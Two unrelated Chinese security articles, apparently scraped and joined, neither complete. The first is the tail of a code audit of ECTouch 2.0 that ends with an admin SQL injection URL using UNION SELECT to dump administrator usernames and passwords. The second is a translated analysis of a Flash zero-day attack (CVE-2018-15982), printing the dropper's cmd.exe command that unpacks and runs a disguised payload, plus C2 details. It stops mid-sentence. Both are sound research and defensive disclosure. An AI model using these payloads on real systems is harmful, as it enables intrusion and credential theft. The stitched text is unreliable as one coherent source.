$_GET = array_merge($var,$_GET); //合并变量
}
// 获取控制器和操作名
define('CONTROLLER_NAME', defined('BIND_CONTROLLER')? BIND_CONTROLLER : self::getController($varController,$urlCase));
define('ACTION_NAME', defined('BIND_ACTION')? BIND_ACTION : self::getAction($varAction,$urlCase));
// 当前控制器的UR地址
$controllerName = defined('CONTROLLER_ALIAS')? CONTROLLER_ALIAS : CONTROLLER_NAME;
define('__CONTROLLER__',__MODULE__.$depr.(defined('BIND_CONTROLLER')? '': ( $urlCase ? parse_name($controllerName) : $controllerName )) );
// 当前操作的URL地址
define('__ACTION__',__CONTROLLER__.$depr.(defined('ACTION_ALIAS')?ACTION_ALIAS:ACTION_NAME));
//保证$_REQUEST正常取值
$_REQUEST = array_merge($_POST,$_GET);
简单跟进`getController` `getAction`
和前面一样重点是
`$controller = (!empty($_GET[$var])? $_GET[$var]:DEFAULT_CONTROLLER);`
和
`$action = !empty($_POST[$var]) ? $_POST[$var] :
(!empty($_GET[$var])?$_GET[$var]:DEFAULT_ACTION);`
没有映射规则就直接返回上面处理好的变量值了。
所以说这个`Dispatcher.php`文件主要作用是获取然后定义了三个变量:
`APP_NAME` 模块名
`CONTROLLER_NAME` 控制器名
`ACTION_NAME` 动作名
然后回到调用路由的页面`boostrap.php`引导页面
向下读就知道是怎么利用变量上面进行路由调用。
urlRoute(); //这里是上面调用的路由调度
try {
/* 常规URL */
defined('__HOST__') or define('__HOST__', get_domain());
defined('__ROOT__') or define('__ROOT__', rtrim(dirname($_SERVER["SCRIPT_NAME"]), '\/'));
defined('__URL__') or define('__URL__', __HOST__ . __ROOT__);//地址栏url
defined('__ADDONS__') or define('__ADDONS__', __ROOT__ . '/plugins');
defined('__PUBLIC__') or define('__PUBLIC__', __ROOT__ . '/data/assets');
defined('__ASSETS__') or define('__ASSETS__', __ROOT__ . '/data/assets/' . APP_NAME);
/* 安装检测 */
if (! file_exists(ROOT_PATH . 'data/install.lock')) {
header("Location: ./install/");
exit();
}
/* 控制器和方法 */
$controller = CONTROLLER_NAME . 'Controller'; //这里传入的控制器名字拼接了'Controller'
$action = ACTION_NAME; //操作名字就是前面的操作名字
/* 控制器类是否存在 */
if (! class_exists($controller)) {
E(APP_NAME . '/' . $controller . '.class.php 控制器类不存在', 404);
}
$controller = class_exists('MY_'. $controller) ? 'MY_'. $controller : $controller;
$obj = new $controller();
/* 是否非法操作 */
if (! preg_match('/^[A-Za-z](w)*$/', $action)) { //这里正则匹配过滤一下只能是字母
E(APP_NAME . '/' . $controller . '.class.php的' . $action . '() 方法不合法', 404);
}
/* 控制器类中的方法是否存在 */
if (! method_exists($obj, $action)) {
E(APP_NAME . '/' . $controller . '.class.php的' . $action . '() 方法不存在', 404);
}
/* 执行当前操作 */
$method = new ReflectionMethod($obj, $action);
if ($method->isPublic() && ! $method->isStatic()) {
$obj->$action();
} else {
/* 操作方法不是Public 抛出异常 */
E(APP_NAME . '/' . $controller . '.class.php的' . $action . '() 方法没有访问权限', 404);
}
} catch (Exception $e) {
E($e->getMessage(), $e->getCode());
}
正常调用简化下流程:`$obj = new $controller();`-> `$obj->$action()` 这样就成功调用
**0x0用例子总结一下调用规则:**
`http://127.0.0.1:8888/ecshop/upload/mobile/?r=admin-index-index`
调用的是:
`ecshop/upload/mobile/include/apps/admin/controllers/indexController` 下的
index方法
但是`class IndexController extends AdminController`
又是`AdminController`的子类,然后一层层继承,然后上层构造函数就会判断访问权限决定代码是否能执行到这里。
## 0x3 了解系统参数与底层过滤情况
#### 0x3.1 原生GET,POST,REQUEST
> 测试方法:
>
> 找个外部方法
>
>
>
> 然后随便传递值进去看看情况怎么样,如果有过滤就重新跟一次
>
>
>
> 可以看到过滤了`` `'` ,还做了实体化处理
粗读了入口文件,没发现有获取参数并且过滤地方,这个时候就可以跑去读基类`构造函数`寻找定义了
`include/apps/common/BaseController.class.php`
public function __construct() {
parent::__construct();
$this->appConfig = C('APP');
if ($this->_readHtmlCache()) {
$this->appConfig['HTML_CACHE_ON'] = false;
exit;
}
$this->_initialize(); //跟进这里
$this->_common();
Migrate::init();
}
private function _initialize() {
//初始化设置
............
//对用户传入的变量进行转义操作
if (!get_magic_quotes_gpc()) {
if (!empty($_GET)) {
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST)) {
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
..................
}
//跟进`addslashes_deep`
function addslashes_deep($value) {
if (empty($value)) {
return $value;
} else {
return is_array($value) ? array_map('addslashes_deep', $value) ://递归过滤数组值 addslashes($value);
}
}
Tips:
可以知道这里没有过滤键值
#### 0x3.2 系统外部变量获取函数
**I方法(tp框架):**
/**
* 获取输入参数 支持过滤和默认值
* 使用方法:
* <code>
* I('id',0); 获取id参数 自动判断get或者post
* I('post.name','','htmlspecialchars'); 获取$_POST['name']
* I('get.'); 获取$_GET
* </code>
* @param string $name 变量的名称 支持指定类型
* @param mixed $default 不存在的时候默认值
* @param mixed $filter 参数过滤方法
* @param mixed $datas 要获取的额外数据源
* @return mixed
*/
简单分析下代码:
static $_PUT = null;
if (strpos($name, '/')) {
// 指定修饰符
list($name, $type) = explode('/', $name, 2);
} elseif (C('VAR_AUTO_STRING')) {
// 默认强制转换为字符串
$type = 's';
}
if (strpos($name, '.')) {
// 指定参数来源
list($method, $name) = explode('.', $name, 2); //post.id -> $method=post $name=id
} else {
// 默认为自动判断
........................
if (is_array($filters)) {
foreach ($filters as $filter) {
$filter = trim($filter);
if (function_exists($filter)) {
$data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); // 参数过滤
} else {
$data = filter_var($data, is_int($filter) ? $filter : filter_id($filter));
if (false === $data) {
return isset($default) ? $default : null;
}
}
}
}
}
..................
function array_map_recursive($filter, $data)
{
$result = array();
foreach ($data as $key => $val) {
$result[$key] = is_array($val)
? array_map_recursive($filter, $val)
: call_user_func($filter, $val); //调用传递进来的函数过滤 默认是htmlspecialchars
}
return $result;
}
tips:
前面已经的得知原生已经被过滤,所以这个肯定被过滤了,但是如果调用`stripslashes` 函数来获取的话,
就有可能存在注入
Ex:
`$c = I('POST.','','stripslashes');`
### 0x3.3 查看系统DB类,了解数据库底层运行方式
由:`include/apps/common/BaseController.class.php`
//创建 ECSHOP 对象
self::$ecs = new EcsEcshop(C('DB_NAME'), C('DB_PREFIX'));
//初始化数据库类
self::$db = new EcsMysql(C('DB_HOST'), C('DB_USER'), C('DB_PWD'), C('DB_NAME'));
确定了`EcsMysql`类是系统的DB类
跟进`include/base/drivers/db/EcsMysql.class.php`
这里简单分析下运行原理:
private function _connect($is_master = true) {
...............................
foreach ($db_all as $db) {
$mysqli = @new mysqli($db['DB_HOST'], $db['DB_USER'], $db['DB_PWD'], $db['DB_NAME'], $db['DB_PORT']); //这里是生成原生的mysqli数据库对象
if ($mysqli->connect_errno == 0) {
break;
}
}
if ($mysqli->connect_errno) {
$this->error('无法连接到数据库服务器', $mysqli->connect_error, $mysqli->connect_errno);
}
//设置编码
$mysqli->query("SET NAMES {$db['DB_CHARSET']}"); //设置了utf-8编码
$mysqli->query("SET sql_mode=''");
return $mysqli;
}
这个`_connect`方法用于连接数据库然后返回数据库类对象
//获取从服务器连接
private function _getReadLink() {
if (isset($this->_readLink)) { //$this->_readLink)初始为空
return $this->_readLink;
} else {
if (!$this->_replication) {
return $this->_getWriteLink();
} else {
$this->_readLink = $this->_connect(false); //这里获取了对象
return $this->_readLink;//返回对象
}
}
}
//获取主服务器连接
private function _getWriteLink() {
if (isset($this->_writeLink)) {
return $this->_writeLink;
} else {
$this->_writeLink = $this->_connect(true);//同理
return $this->_writeLink;
}
}
`_getReadLink()` `_getWriteLink` 我没仔细去读,涉及到多个数据库调度的问题,但是他们的功能
都是获取$this->_connect(true) 返回的数据库对象
了解了上面的方法,那么就可以分析下面封装的函数了。
这里主要看几种查询方法:
分析下query方法,其他都差不多了
//执行sql查询
public function query($sql, $params = array()) {
foreach ($params as $k => $v) {
$sql = str_replace(':' . $k, $this->escape($v), $sql);//跟进下当前类下的escape
} //这里做了个替换:id->id
$this->sql = $sql;
if ($query = $this->_getReadLink()->query($sql)) //这里进入了底层查询
return $query;
else
$this->error('MySQL Query Error', $this->_getReadLink()->error, $this->_getReadLink()->errno); //获取错误信息
}
public function escape($value) {
if (isset($this->_readLink)) {
$mysqli = $this->_readLink;
} elseif (isset($this->_writeLink)) {
$mysqli = $this->_writeLink;
} else {
$mysqli = $this->_getReadLink();
}
//以上都是为了生成$mysqli对象
if (is_array($value)) { //如果是数组
return array_map(array($this, 'escape'), $value); //对数组键值进行递归调用当前函数
} else {
if (get_magic_quotes_gpc()) {
$value = stripslashes($value); //php5.4 gpc废除
}
return "'" . $mysqli->real_escape_string($value) . "'";//过滤掉sql的特殊字符'"等
}
}
然后分析下返回的结果:
public function fetchArray($query, $result_type = MYSQLI_ASSOC) {
return $this->unEscape($query->fetch_array($result_type));
}
这里调用了`unEscape`->`stripslashes`去除了转义
`public function getFields($table)`
`public function count($table, $where)`
这两个函数参数都直接拼接了sql语句
这里在分析下解析`添加数据和where`的方法
//解析待添加或修改的数据
public function parseData($options, $type) {
//如果数据是字符串，直接返回
if (is_string($options['data'])) {
return $options['data'];
}
if (is_array($options) && !empty($options)) {//对数组进行处理
switch ($type) {
case 'add':
$data = array(); //新建一个数组
$data['fields'] = array_keys($options['data']);//获取键名
$data['values'] = $this->escape(array_values($options['data']));//获取过滤的键值
return " (`" . implode("`,`", $data['fields']) . "`) VALUES (" . implode(",", $data['values']) . ") "; //拼接update语句
case 'save':
$data = array();
foreach ($options['data'] as $key => $value) {
$data[] = " `$key` = " . $this->escape($value);
}
return implode(',', $data);
default:return false;
}
}
return false;
}
这里可以知道没有对键值进行处理,所以如果可以控制`insert` and `update` 键值就可以进行注入。
public function parseCondition($options) {
$condition = "";
if (!empty($options['where'])) {
$condition = " WHERE ";
if (is_string($options['where'])) {
$condition .= $options['where']; //如果是字符串直接拼接
} else if (is_array($options['where'])) {
foreach ($options['where'] as $key => $value) {
$condition .= " `$key` = " . $this->escape($value) . " AND ";
}
$condition = substr($condition, 0, -4);
} else {
$condition = "";
}
}
if (!empty($options['group']) && is_string($options['group'])) {
$condition .= " GROUP BY " . $options['group'];
}
if (!empty($options['having']) && is_string($options['having'])) {
$condition .= " HAVING " . $options['having']; //直接拼接
}
if (!empty($options['order']) && is_string($options['order'])) {
$condition .= " ORDER BY " . $options['order'];//直接拼接
}
if (!empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit']))) {
$condition .= " LIMIT " . $options['limit'];
}
if (empty($condition))
return "";
return $condition;
}
这里可以看出来 `group having order limit where` 内容如果可控,那么就会产生注入
后面单独写了model类继承数据库驱动类来简化操作,所以分析几个点来了解
首先是控制器的基类实例化了model类:
`upload/mobile/include/apps/common/controllers/Controller.class.php`
class Controller {
protected $model = NULL; // 数据库模型
protected $layout = NULL; // 布局视图
private $_data = array();
public function __construct() {
$this->model = model('Base')->model; //实例话model类
$this->cloud = Cloud::getInstance();
然后跟进model的定义和声明:
`EcModel.class.php`
public function __construct($config = array()) {
$this->config = array_merge(C('DB'), $config); //参数配置
$this->options['field'] = '*'; //默认查询字段
$this->pre = $this->config['DB_PREFIX']; //数据表前缀
$this->connect();
}
/**
* 连接数据库
*/
public function connect() {
$dbDriver = 'Ec' . ucfirst($this->config['DB_TYPE']);
require_once( dirname(__FILE__) . '/drivers/db/' . $dbDriver . '.class.php' );
$this->db = new $dbDriver($this->config); //实例化数据库驱动类
}
这里可以看到实例化了数据库驱动类->$this->db
`Model.class.php`
class Model {
public $model = NULL;
protected $db = NULL;
protected $pre = NULL;
protected $table = "";
protected $ignoreTablePrefix = false;
public function __construct($database = 'DB', $force = false) {
$this->model = self::connect(C($database), $force);
$this->db = $this->model->db; //数据库驱动类的实例
$this->pre = $this->model->pre;
}
static public function connect($config, $force = false) {
static $model = NULL;
if ($force == true || empty($model)) {
$model = new EcModel($config);
}
return $model;
}
`$model = new EcModel($config);`->`$this->model`
model的调用方式了解下就可以分析下如何进行sql操作的了:
public function query($sql, $params = array(), $is_query = false) {
if (empty($sql))
return false;
$sql = str_replace('{pre}', $this->pre, $sql); //表前缀替换
$this->sql = $sql;
if ($this->queryCount++ <= 99)
{
$this->queryLog[] = $sql;
}
if ($this->queryTime == '') {
if (PHP_VERSION >= '5.0.0') {
$this->queryTime = microtime(true);
} else {
$this->queryTime = microtime();
}
}
//判断当前的sql是否是查询语句
if ($is_query || stripos(trim($sql), 'select') === 0) {
$data = $this->_readCache();
if (!empty($data)){
return $data;
}
$query = $this->db->query($this->sql, $params);//调用数据库驱动实例查询
while ($row = $this->db->fetchArray($query)) {
$data[] = $row;
}
if (!is_array($data)) {
$data = array();
}
$this->_writeCache($data);
return $data;
} else {
return $this->db->execute($this->sql, $params); //不是查询条件，直接执行
}
}
## 0x4 系统情况初步集合
xss漏洞不能带入单引号,原生全局变量可以带入双引号可能导致注入漏洞
'DEBUG' => false, // 是否开启调试模式，true开启，false关闭
主要是全局的addslashes过滤,底层是escape过滤参数query过滤了特殊字符,还用单引号括起来,基本不可能默认关闭debug,所以没有报错注入,考虑盲注,联合注入但是可以考虑键值、二次注入和order等的注入。
其他漏洞xml,上传,包含,命令执行,文件读取、文件删除等这个可以通过搜索关键字进行逆向分析逻辑漏洞、越权针对功能点,分析权限分配规则等
## 0x5 前台注入
.
├── AboutController.class.php
├── ActivityController.class.php
├── AfficheController.class.php
├── ApiController.class.php
├── ArticleController.class.php
├── AuctionController.class.php
├── BrandController.class.php
├── CategoryController.class.php
├── CommentController.class.php
├── CommonController.class.php
├── ExchangeController.class.php
├── FlowController.class.php
├── GoodsController.class.php
├── GroupbuyController.class.php
├── IndexController.class.php
├── OauthController.class.php
├── PublicController.class.php
├── RespondController.class.php
├── SmsController.class.php
├── SnatchController.class.php
├── TopicController.class.php
├── UserController.class.php
├── WechatController.class.php
└── WholesaleController.class.php
我花了差不多两个小时,一个一个控制器,一个一个model类地去看,可能是我太菜了
发现可控参数要么被intval掉,要么就是在model类被单引号括起来,也没找到啥可以绕过的函数,
这里没有审计出前台注入可能让大家失望了,但是考完试我会继续通读、细读代码,寻找到前台注入。
在这里,强烈跪求大师傅,可以审计下这个cms,然后指点下我该如何下手。
## 0x6 后台Navigator id union 注入
前台没希望,但是如果一个洞都没找到那么这个文章的价值就很难体现出来了
于是随手点了个后台控制器`mobile/include/apps/admin/controllers/NavigatorController.class.php`
结果拖着看看就发现了明显的注入点,后台应该还有其他注入点,但是我感觉后台注入真的鸡肋,这里为了更好的理解程序的运行原理,我就决定分析一波
**sql语句入库过程对应上面的分析** 。
下面分析操作主要是model类:`upload/mobile/include/apps/common/models/BaseModel.class.php`
//68 Lines
public function edit() {
$id = I('id'); //通过$_GET传递id的值可控
if (IS_POST) { //跳过
...............
}
//查询附表信息
$result = $this->model->table('touch_nav')->where('id=' . $id)->find(); //注入点
/* 模板赋值 */
$this->assign('info', $result);
$this->assign('ur_here', L('navigator'));
$this->assign('action_link', array('text' => L('go_list'), 'href' => url('index')));
$this->display();
}
`where('id=' . $id)` 这里很明显没有用单引号括起来,直接拼接变量
又因为是`where`后的所以可以导致联合查询。
这里跟进下流程:
`$this->model->table('touch_nav')`
public function table($table, $ignorePre = false) {
if ($ignorePre) { //跳过
$this->options['table'] = $table;
} else {
$this->options['table'] = $this->config['DB_PREFIX'] . $table;
}
return $this;
}
这里主要设置了`$this->options['table']`值,然后返回`$this` 去调用`where`方法
`$this->where('id=' . $id)` 跟进:
因为`where`方法不存在,调用__call构造函数,分析一波
public function __call($method, $args) {
$method = strtolower($method); //小写
if (in_array($method, array('field', 'data', 'where', 'group', 'having', 'order', 'limit', 'cache'))) { //$method='where' 满足
$this->options[$method] = $args[0]; //接收数据
if ($this->options['field'] == '')
$this->options['field'] = '*';
return $this; //返回对象，连贯查询
} else {
throw new Exception($method . '方法在EcModel.class.php类中没有定义');
}
}
可以看到主要是`$args[0`赋值给`$this->options[$method]`
(`$args='id=' . $id注入内容, $method='where'` )
然后继续返回了对象`$this->find()`
public function find() {
$this->options['limit'] = 1; //限制只查询一条数据
$data = $this->select(); //开始进入查询
return isset($data[0]) ? $data[0] : false;
}
可以看到前面操作主要是把条件赋值给`$this->options`数组
`$data = $this->select();`进入查询,选择跟进
public function select() {
$table = $this->options['table']; //当前表
$field = $this->options['field']; //查询的字段
$where = $this->_parseCondition(); //条件
return $this->query("SELECT $field FROM $table $where", array(), true);
}
这里有个`$where = $this->_parseCondition();` 这个解析条件的函数上面没分析,这里选择分析一波,跟进
private function _parseCondition() {
$condition = $this->db->parseCondition($this->options);
$this->options['where'] = '';
$this->options['group'] = '';
$this->options['having'] = '';
$this->options['order'] = '';
$this->options['limit'] = '';
$this->options['field'] = '*';
return $condition;
}
这里就回到了我们开始讲的数据库驱动类实例`$this->db->parseCondition`
上面分析过了,字符串直接进行拼接,然后返回正常的`where`条件写法 ex`where id=1`
继续分析`$this->query("SELECT $field FROM $table $where", array(), true);`
*/
public function query($sql, $params = array(), $is_query = false) {
if (empty($sql))
return false;
$sql = str_replace('{pre}', $this->pre, $sql); //表前缀替换
$this->sql = $sql;
if ($this->queryCount++ <= 99)
{
$this->queryLog[] = $sql;
}
if ($this->queryTime == '') {
if (PHP_VERSION >= '5.0.0') {
$this->queryTime = microtime(true);
} else {
$this->queryTime = microtime();
}
}
//判断当前的sql是否是查询语句
if ($is_query || stripos(trim($sql), 'select') === 0) {
$data = $this->_readCache();
if (!empty($data)){
return $data;
}
$query = $this->db->query($this->sql, $params);
while ($row = $this->db->fetchArray($query)) {
$data[] = $row;
}
if (!is_array($data)) {
$data = array();
}
$this->_writeCache($data);
return $data;
} else {
return $this->db->execute($this->sql, $params); //不是查询条件，直接执行
}
}
分析过了 `query`查询了,`$query = $this->db->query($this->sql, $params);`
进入数据库驱动类实例,这个前面也分析过了,字符串直接进入原生查询,这里就知道完整入库了。
**关于利用(如果后台注入还需要盲注那真的太low了)** :
`$this->assign('info', $result);` 这里把sql查询的结果反回来了,跟进
protected function assign($name, $value) {
return $this->tpl()->assign($name, $value);
}
`$this->tpl()`->`assign`
public function assign($name, $value = '') {
if (is_array($name)) {
foreach ($name as $k => $v) {
$this->vars[$k] = $v;
}
} else {
$this->vars[$name] = $value;
}
}
设置了`$this->vars[$name]`
/* 模板赋值 */
$this->assign('info', $result);
$this->assign('ur_here', L('navigator'));
$this->assign('action_link', array('text' => L('go_list'), 'href' => url('index')));
$this->display();
这里想看如何渲染模版,跟进`$this->display();`
protected function display($tpl = '', $return = false, $is_tpl = true) {
if ($is_tpl) {
$tpl = empty($tpl) ? strtolower(CONTROLLER_NAME . '_' . ACTION_NAME) : $tpl;
if ($is_tpl && $this->layout) {
$this->__template_file = $tpl;
$tpl = $this->layout;
}
}
$this->tpl()->config ['TPL_TEMPLATE_PATH'] = BASE_PATH . 'apps/' . C('_APP_NAME') . '/view/';
$this->tpl()->assign($this->_data);
return $this->tpl()->display($tpl, $return, $is_tpl);
}
然后进入:
public function display($tpl = '', $return = false, $is_tpl = true) {
//如果没有设置模板，则调用当前模块的当前操作模板
if ($is_tpl && ($tpl == "") && (!empty($_GET['_module'])) && (!empty($_GET['_action']))) {
$tpl = $_GET['_module'] . "/" . $_GET['_action'];
}
if ($return) {
if (ob_get_level()) {
ob_end_flush();
flush();
}
ob_start();
}
extract($this->vars, EXTR_OVERWRITE);
if ($is_tpl && $this->config['TPL_CACHE_ON']) {
define('ECTOUCH', true);
$tplFile = $this->config['TPL_TEMPLATE_PATH'] . $tpl . $this->config['TPL_TEMPLATE_SUFFIX'];
$cacheFile = $this->config['TPL_CACHE_PATH'] . md5($tplFile) . $this->config['TPL_CACHE_SUFFIX'];
if (!file_exists($tplFile)) {
throw new Exception($tplFile . "模板文件不存在");
}
//普通的文件缓存
if (empty($this->config['TPL_CACHE_TYPE'])) {
if (!is_dir($this->config['TPL_CACHE_PATH'])) {
@mkdir($this->config['TPL_CACHE_PATH'], 0777, true);
}
if ((!file_exists($cacheFile)) || (filemtime($tplFile) > filemtime($cacheFile))) {
file_put_contents($cacheFile, "<?php if (!defined('ECTOUCH')) exit;?>" . $this->compile($tpl)); //写入缓存
}
include( $cacheFile ); //加载编译后的模板缓存
} else {
//支持memcache等缓存
$tpl_key = md5(realpath($tplFile));
$tpl_time_key = $tpl_key . '_time';
static $cache = NULL;
$cache = is_object($cache) ? $cache : new EcCache($this->config, $this->config['TPL_CACHE_TYPE']);
$compile_content = $cache->get($tpl_key);
if (empty($compile_content) || (filemtime($tplFile) > $cache->get($tpl_time_key))) {
$compile_content = $this->compile($tpl);
$cache->set($tpl_key, $compile_content, 3600 * 24 * 365); //缓存编译内容
$cache->set($tpl_time_key, time(), 3600 * 24 * 365); //缓存编译内容
}
eval('?>' . $compile_content);
}
} else {
eval('?>' . $this->compile($tpl, $is_tpl)); //直接执行编译后的模板
}
if ($return) {
$content = ob_get_contents();
ob_end_clean();
return $content;
}
}
`extract($this->vars, EXTR_OVERWRITE);` 这里开始生成符号表的变量,然后进入编译,然后匹配替换掉模版的值
然后你去模版看看`navigator_edit.html` 查看相应的变量
<input type='text' name='data[name]' maxlength="20" value='{$info['name']}' class="form-control input-sm" />
</div></td>
</tr>
<tr>
<td>{$lang['item_url']}:</td>
<td><div class="col-md-4">
<input type='text' name='data[url]' maxlength="100" value='{$info['url']}' class="form-control input-sm" />
这里的变量就会被返回结果给替换掉。
模版渲染原理有点大块头,后面如果挖掘代码注入之类的,我再进行详细的解读。
#### 0x6.1 如何利用
`select * from ecs_touch_nav where id=1` 可以知道有10列,直接构造
`http://127.0.0.1:8888/ecshop/upload/mobile/index.php?m=admin&c=navigator&a=edit&id=-1
union select 1,2,3,password,5,6,7,user_name,9,10 from ecs_admin_user`
mysql运行的语句是:
到这里如果你还不理解,你就可以尝试代入payload重新阅读本菜鸡的代码。
## 0x7 感受
这里首先非常感谢phpoop师傅在先知发的文章让我有了动力,去尝试系统地审计一个cms,但是审计的过程也发现自己真的很菜,首先对tp框架不熟悉(代码能力真的菜),对漏洞了解真的少,没有那种感觉,不像师傅轻轻松松很容易发现前台注入,代码执行那种高危漏洞。
最后希望有师傅能指点下我的代码审计, **这也是我写这个文章的初衷**
挖掘这个cms的起因是在补天看到比较多的注入点还有个xxe但是不清楚版本,也不清楚是前台还是后台注入
当时脑子一热找下了模版堂的安装包,安装过程的时候发现是ECTOUCH2.0版本的,
程序代码我上传到了githud地址:[ **CodeCheck** ](https://github.com/mstxq17/CodeCheck/)
希望师傅们有空可以审计下,指点下我,这个cms我会继续研究和分析下去,也会继续把文章写下去
当作我学习php代码审计一个起点。
## 0x8 参考文章
[PbootCMS漏洞合集之审计全过程之一-网站基本架构](https://xz.aliyun.com/t/3530)
[PbootCMS漏洞合集之审计全过程之二-了解系统参数与底层过滤情况](https://xz.aliyun.com/t/3531) | 社区文章 |
# APT攻击利用Adobe Flash 0day漏洞分析（CVE-2018-15982）
|
##### 译文声明
本文是翻译文章，文章原作者 gigamon.com，文章来源：atr-blog.gigamon.com
原文地址：<https://atr-blog.gigamon.com/2018/12/05/adobe-flash-zero-day-exploited-in-the-wild/>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
Gigamon Applied Threat Research（ATR）根据Microsoft Office文档，确认了一次对Adobe
Flash中0day漏洞的恶意利用。该漏洞（CVE-2018-15982）允许攻击者恶意制作的Flash对象在受害者的计算机上执行代码，从而获取对系统命令行的访问权限。该文件是从一个位于乌克兰的IP地址提交到VirusTotal的，恶意文档伪装成提交给俄罗斯国家医疗诊所的求职申请。
本文主要对恶意文档（22.docx）进行分析，并详细分析了攻击链的技术细节，同时针对发现的一系列值得关注的特性进行了描述。此外，我们还研究了此次攻击与已知恶意活动之间的关联，从而更加广泛地了解如何能识别并检测出类似攻击。
Gigamon
ATR在2018年11月29日（星期四）的上午2点向Adobe产品安全事件响应小组（PSIRT）报告了这一漏洞。Adobe迅速采取了措施，并与Gigamon
ATR合作复现这一漏洞，在2018年12月5日发布了针对该漏洞的安全补丁，并为该漏洞分配编号CVE-2018-15982。
## 目标分析
“22.docx”是以俄文写成的文档，伪装成俄罗斯国家医疗诊所的求职申请。在该文档中，包含7页个人相关信息，这些信息一般都会出现在个人求职申请之中。该文档的创建者为tvkisdsy。
我们对文档页头的LOGO进行分析，表明该文档是提交给俄罗斯国家医疗保健系统的“2号诊所”。2号综合诊所是一家位于俄罗斯莫斯科的成人门诊诊所。文档中包含的LOGO与该诊所的真实LOGO、公开网站上发现的LOGO均相符。
尽管诱饵文档看似具有高度针对性，但ATR早些时间已经观察到其他鱼叉式网络钓鱼攻击的诱饵文档与其实际的攻击目标无关，所以我们无法确认此次恶意活动所针对的目标。
## 攻击技术概述
该恶意活动所采用的攻击技术本质上非常简单。这些文档在头部包含一个嵌入式的Flash Active
X控件（如下图所示），该控件会在文档打开时执行，并导致Office中的Flash播放器被恶意利用。在漏洞利用之后，将执行恶意命令，该命令尝试提取并执行文档附带的Payload。
## 漏洞利用
尽管业界已经努力在最新版本的Web浏览器中放弃使用Flash并删除Flash组件，但Microsoft
Office仍然能够加载和执行Flash内容。因此，攻击者利用这一0day漏洞发动攻击是有价值的，这些漏洞允许攻击者执行任意命令。因此，只要存在能够可靠执行的武器化工具，这一漏洞就可以被利用。
在这种特定情况下，Flash漏洞利用工具完全被封装在文档中，并且支持32位和64位系统（具有相应的ShellCode）。包含Flash文件的容器中存在一个硬编码路径“C:run.de.swf”，该路径可能代表武器化阶段的文件路径。Flash文件和ShellCode没有使用任何形式的远程调用、分阶段、模糊处理或反分析机制。在两个ShellCode中，都使用了相同的“cmd.exe”来执行恶意命令：
C:WINDOWSsystem32cmd.exe /c set path=%ProgramFiles(x86)%WinRAR;C:Program FilesWinRAR; && cd /d %~dp0 & rar.exe e -o+ -r -inul*.rarscan042.jpg & rar.exe e -o+ -r -inulscan042.jpg backup.exe & backup.exe
上述命令首先将同一目录下的任意.rar文档解压缩，然后从scan042.jpg中解压出backup.exe文件，然后执行backup.exe文件，也就是最终的Payload。
我们的测试表明，只要从压缩包中打开恶意文档，就能够使漏洞利用代码和最终Payload运行，用户不需要事先将恶意文档（诱饵文档）进行解压缩。
## Payload
我们没有监测到这一恶意活动对受害者的攻击行为。然而，通过复现和进一步研究，我们根据提交的细节、预期行为、时间接近程度和文件名相似程度，发现了相关联的Payload，并将其标为中等偏高置信度。我们认为，该Payload是Scout恶意软件的变种。
最初在scan042.jpg中的Payload的文件名为backup.exe，这是一个Windows可执行文件，根据其元数据表明，它伪装成“NVIDIA控制面板”，并且具有相匹配的图标和详细信息。该可执行文件受到VMProtect保护，这是一种防止逆向工程和安全分析的机制。在执行时，Payload会收集系统信息，建立持久性，并通过HTTP
POST与远程服务器通信。我们观察到，其表现出以下行为：
1、枚举系统信息（利用WMI查询在本地进行枚举）
2、通过计划任务的方式增加持久性：
(1) 将填充数据添加到backup.exe中
(2) 将填充二进制文件放在%LOCALAPPDATA%NVIDIAControlPanelNVIDIAControlPanel.exe的位置
(3) 设置在用户登录时启动
3、使用HTTP POST方式，将Base64编码后的内容发送到“dotted-quad”：
(1) 硬编码命令与控制地址：188.241.58[.]68
(2) 硬编码User-Agent字符串：Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
(3) 在网络回调之间，休眠5分钟
下图展示了恶意软件创建的任务计划，以确保重新启动后具有持久性：
下午展示了恶意软件执行的网络回调示例：
backup.exe签署了一份合法的、现已被撤销的证书，该证书颁发给IKB SERVICE UK
LTD，其序列号为57:5F:C1:C6:BC:47:F3:CF:AB:90:0C:6B:C1:8A:EF:6D，指纹为D8:7A:A2:1D:AB:22:C2:F1:23:26:0B:1D:7A:31:89:3C:75:66:B0:89。有效的证书往往会增强文件的可信度，可能会欺骗反病毒和自动检测系统。
下图展示了网络回调的周期性：
下图展示了用于签署恶意软件的合法证书：
## 对元数据的分析
我们对VirusTotal样本进行了人工分析，并发现该样本是0day漏洞利用文档，我们在得到该文档后的2小时内将其提交给Adobe。通过分析22.docx中保存的元数据，我们得出如下分析：
附加文档：利用文档中的创建者字段，我们在短时间之内就找到了同一国家相同VirusTotal
ID提交的另一个文档（33.docx）。第二个文件几乎包含相同的内容，其中包括CVE-2018-15982的利用。第二份文件中还包含一个名为“Кирдакова”（Kirdakova）的文件修改者，这是一个普通的俄罗斯姓氏。此外，还包含一个公司字段“Uito”。
相关Payload：在识别出恶意文档可能使用的文件名后，我们在VirusTotal中筛选了特定范围的文件（通过提交者ID、国家和时间范围）。将压缩包附加到图像中，是一种常见的恶意技术，WinRAR仍然可以识别并解压缩这样的压缩包。
相关恶意二进制文件：通过对我们已经获得的样本进行分析，我们获取了样本的证书，并识别出另一个创建时间更早的文件（c2a827cd8aefa54fb2f91b0f767292d94f5ef7dde9c29090e6be21d34efd1449.exe）。
## 关于HackingTeam
HackingTeam是意大利的一家安全公司，该公司销售远程访问和远程监控工具，并提供相应服务。该公司在2015年遭到黑客入侵，攻击者将其内部数据（例如电子邮件和源代码）传播出去，并据此制作了一系列后门和漏洞。在这一信息泄露事件发生后，世界各地的攻击者纷纷利用HackingTeam工具实现恶意活动。本次漏洞利用的工具比较可靠，并且是针对特定未修复的漏洞。
我们根据漏洞利用过程和Payload的使用，发现此次攻击采用的技术与HackingTeam使用的相类似。将此次恶意活动与之前HackingTeam活动相对比，其共同点在于：
1、都使用了VMProtect进行保护。
2、二者都使用经过数字签名的Payload和伪造的元数据，伪装成合法的应用程序。
3、在ESET发布关于HackingTeam和Callisto
